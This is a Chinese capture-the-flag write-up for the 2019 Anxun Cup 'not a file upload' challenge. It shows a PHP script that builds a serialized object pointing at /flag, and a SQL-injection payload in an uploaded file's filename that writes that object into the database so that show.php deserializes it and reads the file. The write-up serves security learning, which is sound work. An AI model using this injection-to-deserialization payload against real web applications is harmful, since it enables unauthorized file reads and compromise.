[安洵杯 2019]不是文件上传 sql注入 发序列化 信息泄漏

题目描述

找了半天也没找到题目的关键点·~~
看了writeup才知道有个信息泄露
在这里插入图片描述然后在github上下载源码就可以了~~

解题过程

首先我们拿到一套源码,先找到哪段代码能够读取flag~~
在这里插入图片描述在helper.php中有一段代码,可以读取文件~~,很明显的反序列化~~
然后我们在文中找一下序列化和反序列化的点~~
在这里插入图片描述在这里插入图片描述大概说明一下代码的意思,我们上传图片时,会序列化图片的宽高,然后在show.php中读取图片的信息~~
大概的流程讲一下

上传图片(序列化)-》数据库-》读取图片信息(反序列化)

这三个过程中,第一个和第二个过程一些信息我们可以控制,首先是上传图片的宽高我们无法控制其内容,所以我们只有通过SQL注入来改变存入数据库中序列化的内容~~

<?php
class helper {
        protected $ifview = True; 
        protected $config = "/flag";
}

$a = new helper();
echo bin2hex(serialize($a));

我们只需要保存在数据库中的内容为输出为上面的代码输出的内容就行了~~

现在我们来看一下上传图片的过程中,哪里存在sql注入~~
在这里插入图片描述
这儿是上传的函数~~,上传的内容主要包括五个(title,filename,ext,path,attr)
序列化的内容为第五个参数attr,我们再跟进一下,看这五个参数是如何调用的~~
跟进getfile()函数~~
在这里插入图片描述
接着又调用了check()函数,跟进cheak看看~~
在这里插入图片描述这个传进去的参数info就是我们上传的图片$_FILES[$input]

return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);

我们通过check可以知道只有filename我们可控,而且title的值于filename有关,就是去掉后缀名的值,例如filename=a.jpg,那么title=a

那么sql注入便可以轻松得到~~

filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png"

那么title的值为:

"a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#"

由于先插入的是title,刚好title最后为#,注释了后面的语句,注入成功~~
最后再访问一下show.php就可以看见flag了~~

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值